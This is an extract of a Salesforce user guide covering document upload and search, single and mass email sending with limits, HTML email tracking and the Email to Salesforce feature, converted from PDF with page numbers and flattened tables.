User Permissions Needed To upload new documents: To replace documents: Create on documents Edit on documents

Uploading a New Document


To upload a document: 1. Click New Document from the Documents tab or click New next to Recent Documents on the documents home page. If you do not have a New Document option, check if you have the correct permissions. 2. On the Upload New Document page, specify a descriptive Document Name. If you want to use the file name, leave this field blank. The file name will appear automatically when you upload the file. 3. If you have the Customize Application permission, enter a unique name to be used by the API and managed packages. 4. You can check one of the following:
Indicate Document is Internal: When checked, a flag is added to the document indicating that document

viewers should not share the file outside of the organization.

248

Documents

Uploading and Replacing Documents

Note: Checking this box does not expressly enforce any security rules.

Externally Available Image if the document is an image, such as a logo, that's not confidential. Check this

box to: Make the image available from HTML email templates without requiring a Salesforce username and password Use the image as a custom tab icon or custom app logo, which do require a Salesforce username and password to view Display the image in meeting requests The Indicate Document is Internal and Externally Available Image checkboxes are mutually exclusive; you cannot select both. Select a folder for the document. Enter a description to use later as search criteria. Enter keywords that you can use later as search criteria. Select a document or path option. To upload a document, click Browse, choose the file, and click Open. To store a link to the document, enter the location of the document. Enter a path and file name or a URL such as: C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.

5. 6. 7. 8.

9. Click Save.

Replacing a Document
To replace a document with an updated version: 1. Display the document you want to replace. For instructions on locating a document in the document library, see Searching for Documents on page 253. 2. Click Replace Document. 3. Select a document or path option. To upload a replacement, click Browse, choose the file, and click Open. To store a link to the replacement, enter the location of the replacement. Enter a path and file name or a URL such as: C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.

4. Click Replace Document.

Tips for Uploading or Replacing Documents


Documents stored as links cannot be attached to emails, but they save space in your document library. If document content search is enabled, Salesforce will also perform a full-text search of the document. When a new document is uploaded or an old one is replaced, its contents are available for searches. For more information, see Searching for Documents. Salesforce stores the most recent upload date as the modified date. You can upload documents that have file names of up to 255 characters including the extension. The size limit for any document you upload is 5 MB. The maximum size for a custom-app logo is 20 KB. Your organizations used file storage includes all files stored in the document library.

249

Documents

Document Properties

If the Disallow HTML documents and attachments security setting is enabled for your organization, you cannot upload files with the following file extensions: .htm, .html, .htt, .htx, .mhtm, .mhtml, .shtm, .shtml, .acgi.

See Also:
Searching for Documents File Size Limits in Salesforce Monitoring Resources

Document Properties
Available in: All Editions except Database.com

Below is a description of the properties in alphabetical order that are stored for each document in the document library. Field
Author

Description The main point of contact for a document. Initially, the person uploading the document is the author. Thereafter, the author can be any selected user. The name of the person who originally uploaded the file. The name of the person who last uploaded the file. The name of the folder that contains the document. A checkbox that indicates if the content within a document can be searched via the Find Document button on the Documents tab. This checkbox is automatically set by Salesforce. The name of the document including its file extension. A unique name used to refer to the document when using the Force.com API. In managed packages, this name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With this field, a developer can change certain components' names or titles in a managed package and the changes are reflected in a subscriber's organization. A statement distinguishing this document from others. A checkbox that adds a flag to the document indicating that document viewers should not share the file outside of the

Created By Modified By Folder Document Content Searchable

Document Name Document Unique Name

Description Indicate Document is Internal

250

Documents

Document Properties

Field

Description organization. Checking this box does not expressly enforce any security rules. The Indicate Document is Internal and Externally Available Image checkboxes are mutually exclusive; you cannot select both.

Externally Available Image

A checkbox that indicates if the document is an image available for HTML email templates, such as a logo in a letterhead, and does not require a Salesforce username and password to view in an email. This checkbox indicates if the document is an image used as a custom app logo or custom tab icon, which require a Salesforce username and password to view. The Indicate Document is Internal and Externally Available Image checkboxes are mutually exclusive; you cannot select both.

Keywords

An open text field containing one or more words that describe the document. The program checks for matches in this field when doing a search. Stored in place of Document Name if you prefer to create a link to the document instead of uploading it. The size of the document in bytes. The file type is determined by the file extension. For example, filename.ppt is recognized as a PowerPoint file. If the Disallow HTML documents and attachments security setting is enabled for your organization, you cannot upload files with the following file extensions: .htm, .html, .htt, .htx, .mhtm, .mhtml, .shtm, .shtml, .acgi.

Path

Size Type

See Also:
Displaying and Editing Document Properties Viewing Document Lists

251

Documents

Deleting Documents

Deleting Documents
Available in: All Editions except Database.com

User Permissions Needed To delete documents: To restore documents: Delete on documents Delete on documents

To delete a document, click Del next to the document on the documents list page. Alternatively, click Delete on the documents detail page. When you delete a document, Salesforce stores it in the Recycle Bin. You can restore the document to your document library within that time by clicking Undelete from the Recycle Bin. Note: You can delete any document in your personal folder but you can only delete a document in a public folder if you have the Manage Public Documents permission. If you delete a document that's included in a letterhead or HTML email template, any emails using the letterhead or template display a broken link in its place. You can fix the broken link by removing the document from the Recycle Bin. You can't delete a document that's being used as a custom logo in meeting requests. To delete it, you must either select another document to use as a logo or uncheck the option to display a custom logo in meeting requests.

See Also:
Managing Folders Recycle Bin

Changing Document Authors


Available in: All Editions except Database.com

User Permissions Needed To change documents: Edit on documents

Since documents are stored in folders that control user access, documents do not have owners like other types of records, but they do have authors. The author represents the user that originally uploaded the document file. To change the author of a document:

252

Documents

Searching for Documents

1. View the document you want to modify. 2. Click Change next to the Author field. The Change link displays only on the detail page, not the edit page. If you do not see the Change link, you may not have sufficient privileges to change a document author. 3. Enter a new author name. Alternatively, click the lookup icon to choose from a list of users. 4. Check the Send Notification Email box if you would like to alert the new author of this change. Note: When you change document authorship, Salesforce does not change the documents visibility.

See Also:
Managing Folders

Searching for Documents


Available in: All Editions except Database.com

User Permissions Needed To view documents: Read on documents

To find specific documents, use the Find Document button on the documents home page. 1. Click the Documents tab. 2. Enter your search terms. Salesforce searches the following fields:
Document Name Keywords Description

3. Click Find Document. The search returns a list of documents that match all your search terms. The search results are listed in order of the closest matches. The Keywords and Document Name fields are used to determine the closest matches. The fields you see are predefined and cannot be changed. Tip: Use quotation marks around a phrase to search for the words in that sequence. For example, a search for my logos returns documents whose fields or content contains that exact phrase, as well as my and logos. Without quotation marks, your search returns any document whose fields or content includes any of the words in the search. For example, my logos returns documents whose fields or content contains my and logos. 4. Select any document to jump directly to the detail page for that document, or click View to open the document in a new window.

253

Documents

Searching for Documents

If document content search is enabled, Salesforce will also perform a full-text search of the document. When a new document is uploaded or an old one is replaced, its contents are available for searches. To enable document content search: 1. Click Your Name > Setup > Customize > Search > Search Settings. 2. Select Enable Document Content Search. Note: Salesforce automatically determines if the contents of a document can be searched. If the Document Content Searchable property is checked on a document, then its contents have been processed successfully and can be searched. If your document is large, it may take several minutes before Salesforce searches the contents of a document and marks the Document Content Searchable property. You can also find documents using global search. 1. Enter your search terms in the header search box. 2. Select Search Options... from the drop-down and select Documents to narrow your search results. 3. Click Search. The following file types are supported for a document content search. Note: The contents of documents that exceed the maximum sizes are not searched; however, the document fields are still searched. Only the first 1,000,000 characters of text are searched. Text beyond this limit is not included in the search. File Type File Extensions Maximum Size 5,120 KB

HTML (only the text within a <body> .htm tag)


.html .xhtml

PDF PPT

.pdf .pot .pps .ppt

25,600 KB 25,600 KB

RTF Text

.rtf .c .cpp .css .csv .ini .java .log

5,120 KB 5,120 KB

254

Email

Email Overview

File Type

File Extensions
.sql .txt

Maximum Size

Word

.doc .dot

25,600 KB

XLS

.xls .xlt

5,120 KB, or a maximum cell limit of 100,000 cells 5,120 KB

XML

.xml

In some instances documents are not searched. These include: If a file extension is changed to a different format, it is not searched, even if both extensions are valid. For example, a .txt file that is renamed to .rtf is not searched. PDF and Word documents may have security restrictions that prevent them from being searched. To ensure that the content is searchable, the content extraction property on your file must be set to Enabled when creating your document.

See Also:
Search Overview Uploading and Replacing Documents Search Fields Refining Search Using Wildcards Refining Search Using Operators

EMAIL
Email Overview
Available in: All Editions except Database.com Mass email not available in: Personal, Contact Manager, and Group Editions

You can email contacts, leads, person accounts, and users in your organization directly from account, contact, lead, opportunity, case, campaign, or custom object pages. There is no limit on the number of these emails sent individually.

255

Email

Email Overview

With mass email in Professional, Enterprise, Unlimited, and Developer Edition organizations, you can email a list of contacts, leads, or person accounts for small-scale sales or support. Mass email is intended to facilitate your business processes, not replace your existing email application or handle mass-marketing campaigns. Using the API, you can send single emails to a maximum of 1,000 external email addresses per day based on Greenwich Mean Time (GMT). Single emails sent using the application don't count towards this limit. You can send mass email to a total of 1,000 external email addresses per day per organization based on Greenwich Mean Time (GMT). The maximum number of external addresses you can include in each mass email depends on the Edition of Salesforce you are using: Edition Professional Enterprise Edition Unlimited Edition Address Limit per Mass Email 250 500 1,000

Note: Note the following about email limits: The single and mass email limits don't take unique addresses into account. For example, if you have johndoe@example.com in your email 10 times, that counts as 10 against the limit. You can send an unlimited amount of email to your internal users. These limits also apply to emails sent using the API and Apex. In Developer Edition organizations and organizations evaluating Salesforce during a trial period, your organization can send mass email to no more than 10 external email addresses per day. This lower limit does not apply if your organization was created before the Winter '12 release and already had mass email enabled with a higher limit.

When you send an email, you can choose a predefined template for the message. To personalize your message, the template can include merge fields that are replaced with information from the Salesforce record when the email is sent. For instance, your organization may want to use a standard template to communicate solution information to customers with cases. Your administrator maintains organization-wide templates, and you can maintain your own personal templates.

See Also:
Sending Email Sending Mass Email Editing Email Settings Email Fields Managing Email Templates Force.com Connect for Microsoft Outlook Overview What is a Person Account? Testing Deliverability Can I use Salesforce to send mass emails?

256

Email

Sending Email

Sending Email
Available in: All Editions except Database.com

User Permissions Needed To send emails: To create an organization-wide address: Send Email Modify all Data

To send email to a contact, lead, person account, or other user: 1. Click Send An Email on the Activity History related list of a record. Or, from a case, click Send An Email or Reply from the Email related list. This option is available only to organizations using Email-to-Case or On-Demand Email-to-Case. 2. Optionally, specify the sending address of the email from the From drop-down list for emails associated with Email-to-Case or On-Demand Email-to-Case; or if the email name or email address in your email settings is different from the email name or email address on your user record. When creating a new outbound Email-to-Case or On-Demand Email-to-Case message, the From address is auto-populated with your name. When replying to an inbound message, the From address is auto-populated with the routing address to which the email was sent. If you previously defined any organization-wide addresses, the email addresses associated with your user profile also appear in this drop-down list. Organization-wide addresses are not available for Mass Email, or Stay-in-Touch requests. 3. If you want to remove any HTML formatting and send a text email, click Switch to Text-Only. Click Switch to HTML to use HTML formatting or to track the email. 4. Enter a contact, lead, or person account in the To: field. Only one name can be entered in the To: field. For contacts and leads that have multiple email fields, you can select an email address. 5. Optionally, choose another record, such as an account, case, or custom object, to associate with the email. 6. Optionally, if you want other people to receive the email as primary recipients, enter email addresses in the Additional To: field, or click the Additional To: link to select individuals from a list. These people do not need to be Salesforce records. Email addresses can be separated by semicolons, commas, spaces, or new lines. 7. In the CC: and BCC: fields, enter any additional email addresses, or click the CC or BCC link to select individuals from a list. Email addresses can be separated by semicolons, commas, spaces, or new lines. If your organization has enabled compliance BCC emails, the BCC: field is not available and your Automatic Bcc setting under My Email Settings is disabled. 8. Enter a subject and body for the email, or click Select Template to choose a predefined email template. Choose a folder and select a template from the folder. If necessary, you can modify the content of the template in your email; however, you cannot modify Custom templates. Warning: If you modify the template contents, your changes affect only the HTML version of the email template. The changes are not reflected in the text-only version of the email sent to recipients. When replying to an Email-to-Case or On-Demand Email-to-Case email, the original email is included in the email body. All or parts of this email can be deleted.

257

Email

Guidelines on Sending Email

9. If you chose an HTML email template, use the format toolbar to format your text. For more information, see Using the Format Toolbar. Available in Professional, Enterprise, Unlimited, and Developer Editions only. 10. Optionally, select Attach File to add a file. You can attach multiple files as long as the total size of all attached files does not exceed 10 MB. 11. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the body of the email. Spell Checker does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese. If you are using an email template, the Check Spelling button is available for text templates and Visualforce templates without HTML tags. 12. Click Send. If the recipient does not have an email address, Salesforce prompts you to edit the persons email address and click: Save Address to add the email address to the record without sending the email. Save Address and Send to add the email address to the record and send the email.

See Also:
Guidelines on Sending Email Email Fields Sending Mass Email Tracking HTML Email Working with Case Emails What is a Person Account? Testing Deliverability Can I use Salesforce to send HTML emails?

Guidelines on Sending Email


Available in: All Editions except Database.com

Note the following when sending email.

Tips
If bounce management is activated and the email bounces, Salesforce displays an error message. Click the link in the error message to update the email address and optionally send the email to the updated address. You can send emails related to any record, as long as you have access to view or edit the record.

Notes
An attachment is sent as a link if its total size is 3 MB or more or if it is sent using mass email. When recipients click the attachment link in the email, the attachment opens in a separate Web browser, and they can download the file. Attachments sent as links are stored for 30 days.

258

Email

Mass Email Status Messages

Attachments aren't stored on emails sent from Salesforce. To be saved with the email, attachments must be either associated with the email later or sent to Salesforce using using Email-to-Case, Email-to-Salesforce, On-Demand Email-to-Case, or Salesforce for Outlook. Emails sent via the Send an Email button are listed in the Activity History list of the related records. The Activity History item is titled Email: Subject. You can click the email subject to view the body of the email. Emails sent from the Email related list of a case are saved in the Email related list. This functionality is only available for organizations with Email-to-Case or On-Demand Email-to-Case enabled. If your page layout or field-level security settings prevent you from viewing a field, that field won't be available for email templates. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)

See Also:
Sending Email Sending Mass Email

Mass Email Status Messages


Available in: Professional, Enterprise, and Unlimited Editions

If you're configured to receive email notifications for mass emails, you'll see an auto-generated status email from Salesforce for each mass email you send. The subject line of the status email contains the value you entered in the Mass Email Name field when sending the mass email. The status message shows the number of recipients that the mass email was both addressed and sent to. These numbers may differ because: The mass email would cause your organization to exceed its daily mass email limit. Salesforce does not send the message to any of the intended recipients in this case. One or more selected recipients opted out of receiving mass email after the mass email was scheduled but before it was processed. One or more selected recipient email addresses were removed from the contact or lead after the mass email was scheduled but before it was processed. The user who sent the mass email was deactivated after the mass email was scheduled but before it was processed. Salesforce does not send mass emails scheduled by a user who is deactivated.

To turn on the notification option, click Your Name > Setup > Email Administration > Deliverability, and select Notify sender when mass email completes.

See Also:
Guidelines on Sending Mass Email Configuring Deliverability Settings

259

Email

Sending Mass Email

Sending Mass Email


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To send mass emails to contacts, person accounts, or leads: To send mass emails to users: "Mass Email" "Mass Email" AND "Manage Users" To send mass emails and log them in the Activity History related list: "Mass Email" AND "Edit Tasks"

Watch a Demo on Sending Mass Email (4:31 minutes) You can send a mass email message to a recipient list that consists of contacts, leads, person accounts, or users you can view in Salesforce. 1. Choose the type of recipients for your mass email: To send mass email to contacts or person accounts, click Mass Email Contacts in the Tools section at the bottom of the Contacts or Cases tabs. If your organization uses person accounts, the link is also in the Tools section at the bottom of the Accounts tab. To send mass email to leads, click Mass Email Leads in the Tools section at the bottom of the Leads tab. To send mass email to users, click Your Name > Setup > Manage Users > Mass Email Users. This link is available to administrators and users with the Manage Users permission.

2. Select a list view of recipients and click Go!. By default, the My Contacts, My Leads, Active Users, or My Cases views include all records of that type with an email address. To change the list of recipients, create a new custom view. See Creating Custom List Views on page 270. Contacts, leads, or person accounts that have the Email Opt Out field selected or do not have an email address are not included in any email list views. Person accounts are included in contact list views. 3. All recipients in the list view are selected by default. Remove recipients who shouldn't receive the mass email by deselecting them or using the top checkbox in the list view to select or deselect all of the recipients listed on the page. 4. Click Next. 5. Choose an email template. Note: You cant send a mass email using a Visualforce email template.

260

Email

Sending Mass Email

6. Optionally, click the Preview links to view the templates. In the email template preview window, the template displays with any merge fields included, such as {!Account.AccountNumber}. When you send your email, data from the recipients' records, or any applicable substitute text, is inserted into the email in place of those merge fields. 7. Click Next. 8. On the confirmation page, select from the available Processing Options:
BCC me on one message Store an activity for each message

The Activity History item is associated with the contact, lead, or person account and displays as Mass Email:<Template Description>. The email subject, body, and attachments are not stored in the Activity History item. To log Activity History items, you must have access to view or edit the records in the recipient list and have the Edit Task permission.
Use my signature

Optionally, include your email signature in this mass email. This option applies to text emails only.
Mass Email Name

Enter a name you can use to identify this mass email in the mass email queue. See Monitoring the Mass Email Queue on page 952 for more information. Note: The mass email name only appears in the mass email queue and status messages you receive from Salesforce. Salesforce doesn't add the mass email name to the mass email you're sending.

9. In the Delivery Options section, do one of the following. Select Send now. Select Schedule for delivery on and click in the date field to specify when Salesforce will send the mass email. Use the adjacent drop-down menu to specify the time zone. Note: Users can click Your Name > Setup > Email > My Mass Emails to view and cancel mass emails they scheduled. Administrators can click Your Name > Setup > Monitoring > Mass Email to view and cancel mass emails scheduled by all users in their organization. See Monitoring the Mass Email Queue on page 952 for more information. 10. Click Send to submit the mass email. 11. Click Finished to complete the mass email wizard.

See Also:
Guidelines on Sending Mass Email Mass Email Status Messages Email Fields Field-Level Security Overview What is a Person Account? Can I use Salesforce to send HTML emails? Can I use Salesforce to send mass emails?

261

Email

Guidelines on Sending Mass Email

Guidelines on Sending Mass Email


Available in: Professional, Enterprise, Unlimited, and Developer Editions

When sending mass email, note the following.

Tips
You can send mass email to a total of 1,000 external email addresses per day per organization based on Greenwich Mean Time (GMT). The maximum number of external addresses you can include in each mass email depends on the Edition of Salesforce you are using: Edition Professional Enterprise Edition Unlimited Edition Address Limit per Mass Email 250 500 1,000

Note: Note the following about email limits: The single and mass email limits don't take unique addresses into account. For example, if you have johndoe@example.com in your email 10 times, that counts as 10 against the limit. You can send an unlimited amount of email to your internal users. These limits also apply to emails sent using the API and Apex. In Developer Edition organizations and organizations evaluating Salesforce during a trial period, your organization can send mass email to no more than 10 external email addresses per day. This lower limit does not apply if your organization was created before the Winter '12 release and already had mass email enabled with a higher limit. Before you send a mass email, create a custom view of contacts, leads, person accounts, or cases without an email address. In the search criteria, choose Email equals, and leave the third field blank. You can then update those records before sending your emails. Unfortunately, there is no way to validate an email address without sending an actual email message. If your template contains a merge field for which there is no data in a particular record, that field does not appear in the email you send. To find such blank fields, modify your recipient list view to search for the merge fields you are using in your template, and enter the criterion <field> equals, leaving the third field blank. Edit those records that have blank fields before you send your emails. You can send a mass email to a recipient list that consists of contacts, leads, person accounts, or users you can view in Salesforce.

Notes
If the email deliverability option Notify sender when mass email completes is selected, you receive an auto-generated status email from Salesforce for each mass email you send. The subject line of the status email contains the value you entered in the Mass Email Name field when sending the mass email. Attachments in mass emails are sent as links rather than as physical files. When recipients click the attachment link in the email, the attachment opens in a separate Web browser, and they can download the file. Attachments sent as links are stored for 30 days.

262

Email

Email Fields

Limitations
Mass email can only be sent to an address in a standard email field. Mass email using a custom email field is not supported. If a standard email field is hidden by field-level security, the Mass Email links for contacts and leads don't appear. Email templates give you access only to the fields that are accessible to you via your page layout and field-level security settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request.

See Also:
Sending Mass Email Mass Email Status Messages Configuring Deliverability Settings Can I use Salesforce to send mass emails?

Email Fields
Available in: All Editions

A Salesforce outbound email has the following fields, listed in alphabetical order. Field
Attachment

Description List of the attached files. The maximum total size of all email attachments is 10 MB. List of email addresses to which the email will be blind carbon copied. Up to 2000 characters are allowed in this field. You can separate email addresses by semi-colons, commas, spaces, or new lines. Emails with addresses that contain parentheses, such as john(smith)@acme.com, will not be sent. The BCC: field is not available if your organization has enabled compliance BCC emails.

BCC

Body

Main text of the email. Up to 384 KB of data are allowed in this field. List of email addresses to which the email will be copied. Up to 2000 characters are allowed in this field. You can separate email addresses by semi-colons, commas, spaces, or new lines. Emails with addresses that contain parentheses, such as john(smith)@acme.com, will not be sent. Automatically generated field containing your email address. Existing account, asset, campaign, case, contract, opportunity, product, solution, or custom object that the email is related

CC

From Related To

263

Email

Tracking HTML Email

Field

Description to. This field is not sent with the email, but is stored in the Activity History with the email.

Signature

Your personalized tag line. Set your signature via Email > My Email Settings in the Personal Setup area. It is automatically appended to individual emails. You can choose to append it to mass emails. Subject of the email. Up to 80 characters are allowed in this field. The contents of this field display in bold if the email Status is New. Name of the contact, lead, or person account to which the email will be sent. Only one name can be entered in this field.

Subject

To

Tracking HTML Email


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

After sending an HTML email, you can track the date it was first opened, the number of times it was opened, and the date it was most recently opened. Detail pages for contacts, leads, and person accounts include an HTML Email Status related list. Each email you send to a person or mass distribution list is listed, including the date the email was sent, first opened, last opened, and the total number of times it was opened by all users (multiple openings by the same user are counted). This list also includes automatic emails such as those sent through Web-to-Lead and Web-to-Case response rules. Click Send An Email to create a new message. See Sending Email on page 258 for more details on sending an email. Click View All to view more details about all the items in the HTML Email Status related list. Click Edit next to an email to add any notes to it. Click Del to remove an email from the HTML Email Status related list. Click the subject of an email to view the entire email message. If the subject is longer than 100 characters, it is truncated with ellipses (...).

To report on the HTML email statistics listed in the HTML Email Status related list, use the HTML Email Status Report available from the Reports tab. Note: Add the HTML Email Status related list to your contact, lead, and person account page layouts before users send HTML emails that they need to track.

See Also:
Customizing Activity Settings What is a Person Account?

264

Email

Setting Up Email to Salesforce

Setting Up Email to Salesforce


Available in: All Editions except Database.com

Before you can use your Email to Salesforce address, you must configure it. 1. Click Your Name > Setup > Email > My Email to Salesforce. Tip: We recommended that you add your Email to Salesforce address to the address book of your email client for easy retrieval. 2. In My Acceptable Email Addresses, enter any email addresses you will use to send email. Separate multiple email addresses with commas. Important: Your Email to Salesforce address only accepts email from addresses you list. If you do not list any email addresses, email sent to your Email to Salesforce address will not be associated to any records. 3. Choose whether you'd like all emails to be sent to My Unresolved Items so you can manually assign them to related records or whether you'd like us to first try to automatically assign them. 4. Configure Email to Salesforce to add emails as activities to matching opportunities, leads, contacts, or all three. 5. If you selected leads or contacts, choose how Email to Salesforce should process emails containing lead or contact information that matches duplicate records. Email to Salesforce can add the email activity to all matching records, to the oldest duplicate record, or to the record that has greatest number of activities. 6. If you selected leads or contacts, you can select If no matching records are found, create a task and send it to My Unresolved Items to have the email sent to My Unresolved Items if no matching records are found. If this checkbox isn't selected and Salesforce can't identify the To or From email addresses, the email won't be saved in Salesforce. 7. Select Always save email attachments to save attachments on emails sent to Salesforce. The size limit for an attached file is 5 MB when attached directly to the related list. The size limit for all files attached to an email is 10 MB. 8. Select Email me confirmation of association to receive a confirmation email when emails are successfully associated. 9. In Excluded Domains, enter any email domains you want to exclude from automatic association. Separate multiple email domains with commas. 10. Click Save.

See Also:
Adding Email with Email to Salesforce

265

Email

Adding Email with Email to Salesforce

Adding Email with Email to Salesforce


Available in: All Editions except Database.com

You can add emails to matching leads, contacts, or opportunities. 1. Compose an email from a third-party email account that you designate in My Acceptable Email Addresses on the My Email to Salesforce setup page. 2. Enter your Email to Salesforce address in the BCC field of your email. 3. Enter desired recipients in the To, CC, and BCC fields. 4. Send the email. Salesforce receives the emails and, based on your My Email to Salesforce settings, adds them to either the Activity History related list of matching records or the My Unresolved Items page, where you can manually assign them. Unresolved emails also appear in your open task list. You can add emails to specific Salesforce records. 1. Compose an email from a third-party email account that you designated in My Acceptable Email Addresses on the My Email to Salesforce setup page. 2. In Salesforce, locate the record ID of the record with which you want the email associated. The record ID is the 15-digit, case-sensitive, alphanumeric code that displays at the end of the URL for a record. For example, if you view the detail page of a campaign record, the URL will look similar to this: https://na1.salesforce.com/701D0000000HQZy; the record ID for this record is 701D0000000HQZy. 3. In the subject line or body of the email, type ref: followed by the record ID. For example: ref: 701D0000000HQZy. Note: Record IDs can either be typed on a separate line or within the email body text if surrounded by (), [], or {}. For example: (ref: 701D0000000HQZy). Multiple record IDs must be separated with commas, for example: ref: 701D0000000HQZy, 801D0000000IRAz, 901D0000000JSBa. 4. Enter your Email to Salesforce address in the To, CC, or BCC fields of your email. 5. Optionally enter additional recipients in the To, CC, or BCC fields. 6. Send the email. Salesforce receives the emails and adds them to the Activity History related list for each record that matches a record ID specified in the email. Invalid IDs or IDs for records that you do not have read access to are ignored. If Email to Salesforce is configured to associate email with matching leads, contacts, or opportunities, an unresolved task is created when an email is associated to a lead, contact, or opportunity using only a record ID and not a matching email address. For example, if you have configured emails to be associated with matching leads and you send an email directly to your Email to Salesforce address with a lead record ID in the body or subject line of the email, the email is associated to the lead and an unresolved task is created.

See Also:
Setting Up Email to Salesforce

266

Email

Guidelines on Using Email to Salesforce

Guidelines on Using Email to Salesforce


Available in: All Editions except Database.com

If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to leads, contacts, opportunities, and other records in Salesforce. When composing, forwarding, or replying to email, simply enter your Email to Salesforce address in the BCC field or any recipient field. Salesforce receives a copy of the email and, depending on your configuration, adds it to either the Activity History related list of the matching records or to the My Unresolved Items page, where you can manually assign it.

Tips
An administrator must activate Email to Salesforce for your organization. After activation, Salesforce generates a unique Email to Salesforce address for each user. Users receive an automated email from Salesforce that contains their Email to Salesforce address. The Email to Salesforce address can also be viewed by clicking Your Name > Setup > Email > My Email to Salesforce. The Email to Salesforce address is automatically generated and cannot be changed. You can also save a message as an email activity without sending or resending it to another person. Simply forward the email with your Email to Salesforce address in the To field. Be sure that there are no other email address in the To, CC, and BCC fields. Salesforce receives a copy of the email and searches the From, To, and CC fields in the forwarded email for the email addresses of your leads and contacts. If any leads or contacts are found, Salesforce saves the email in the Activity History related list on the appropriate record. When you use Email to Salesforce to save a message as an email activity, the default task type is specified by the Send Email Default setting. You can change the default value by editing the Task Type picklist field. You don't need to configure Email to Salesforce to associate emails to matching records. Salesforce searches emails sent to your Email to Salesforce address for a record ID, then looks for the record. If related records are found, Salesforce adds the email to either the Activity History related list on those records or to the My Unresolved Items page, where you can manually assign them.

Notes
You can use Email to Salesforce with email client applications such as IBM Lotus Notes and Microsoft Outlook, as well as webmail such as Gmail and Yahoo! Mail. The email addresses you use to send Email to Salesforce must be configured in the My Acceptable Email Addresses field in the My Email to Salesforce setup page. Email to Salesforce attempts to match the email address found in the To or CC fields with the one in the Email standard field. It doesn't support matching on custom email fields. The maximum number of email addresses that Email to Salesforce can match is 50. If the combined number of addresses in the To and CC fields exceeds this limit, Email to Salesforce processes only the first 50 unique addresses in the email. If Email to Salesforce matches an email address to multiple lead or contact records in Salesforce, you can choose to associate the email with all matching records, the oldest record, or the record with the most activity. If Email to Salesforce matches an email to multiple opportunity records in Salesforce, the email is included in the activity history on all matching open records. If you configure Email to Salesforce to associate emails to matching leads or contacts, Salesforce searches the To and CC fields for the email addresses of your leads or contacts. If any leads or contacts are found, Salesforce saves the email to the Activity History related list on the appropriate record. If you configure Email to Salesforce to associate emails to matching opportunities, Salesforce searches the To and CC fields for the email addresses of your contacts. If contacts are found, Salesforce saves the email to the Activity History

267

Email

Guidelines on Using Email to Salesforce

related list on all open opportunities, as long as the contact is assigned a contact role on the opportunity. For example, the contact may be assigned the role of Decision Maker on an opportunity. If you use Gmail, see Using Gmail in Salesforce on page 337 to learn about the additional Gmail features that Salesforce offers. Email to Salesforce can create a maximum of 50 email activities for each email it receives. The size limit for an attached file is 5 MB when attached directly to the related list. The size limit for all files attached to an email is 10 MB. For each matching record, all attachments sent with the email are duplicated, which affects your data size limit. Any attachments that aren't added are listed in the confirmation email you receive from Salesforce. Email text and HTML is automatically truncated to 32 KB. Email to Salesforce is required to use the Add Email feature with Salesforce for Outlook. Disabling one feature will automatically disable the other. With Salesforce for Outlook, you add emails using the Add Email and Send and Add toolbar buttons instead of the BCC field. If Salesforce cant match any email addresses for recipients that appear in the To and Cc fields of emails you add to Salesforce, the My Unresolved Items page displays one row for each email.

See Also:
Setting Up Email to Salesforce Adding Email with Email to Salesforce Enabling Email to Salesforce Google Apps Overview Resolving Your Unassigned Emails

268

Email

Resolving Your Unassigned Emails

Resolving Your Unassigned Emails


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view or edit unresolved emails: Edit on tasks and Read on the objects you assign to the email AND Email to Salesforce OR Add Email in Salesforce for Outlook and Email to Salesforce To create new Salesforce records: Edit on tasks AND Show Quick Create and Create on those objects To see recently used data in the related records fields: Lookup Auto-Completion in Search Settings

When emails are sent to Salesforce using Email to Salesforce or Salesforce for Outlook, some are automatically assigned to related records based on your Email to Salesforce settings. The rest are added to My Unresolved Items, where you can either assign them to related Salesforce records or confirm that you want to leave them unassigned. 1. Access your unresolved emails from the sidebar shortcut Unresolved Items. 2. Depending on how you want to resolve an email, choose either of these actions. Assign to related recordsEnter a related record in one or both fields. If you need to, first select the correct record type from the drop-down list. If you assign a lead, you can't assign additional records. Clear an entry to cancel an assignment. Leave unassignedClick Don't Assign. The text Unresolved Email: is removed from the subject line and the email is assigned to you as a completed task. If the task's Status picklist includes more than one completed status, we use the first one.

3. Click Save to save your changes. All modified items are removed from the list. You can return any time to resolve remaining items. Clicking Cancel cancels all changes on the page. The email is added to the Activity History or Open Activities related list of the associated records.

Tips
Unresolved emails also appear in your open task list. You can resolve an email from the email's task record by assigning it to other Salesforce records. Assigned and completed emails are automatically removed from your unresolved emails and open task lists. Click next to an email to see its details.

269

List Views

Creating Custom List Views

Click Email to Salesforce Settings to view your email assignment settings.

See Also:
Guidelines on Using Email to Salesforce My Unresolved Items Overview Adding Email with Salesforce for Outlook Using Gmail in Salesforce Enabling Lookup Auto-Completion

LIST VIEWS
Creating Custom List Views
Available in: All Editions

User Permissions Needed To create custom list views: To create, edit, or delete public list views: Read on the type of record included in the list Manage Public List Views

You can create new list views to see a specific set of records such as contacts, documents, or campaigns. For example, create a list view of accounts in your state, leads with a specific Lead Source, or opportunities above a particular Amount. You can also create views of contacts, leads, users, or cases to use for mass email recipient lists. To edit or delete any view you created, click Edit next to the View drop-down list. Administrators, and users with the Manage Public List Views permission, can also edit or delete public views and some of the standard Salesforce views. Users without the Manage Public List Views permission see the Clone link instead of Edit so they can clone a public or standard view. To create a new view, click Create New View at the top of any list page or in the Views section of any tab home page. Fill in the following: 1. Enter View Name Enter the name to appear in the View drop-down list. 2. If you have the Customize Application permission, enter a unique name to be used by the API and managed packages. 3. Specify Filter Criteria Filter by Owner These options vary depending on the kind of record. In general, select All... or My... to specify the set of records to search. There may be additional options: Lead and case list views can be restricted by queue.

270

List Views

Creating Custom List Views

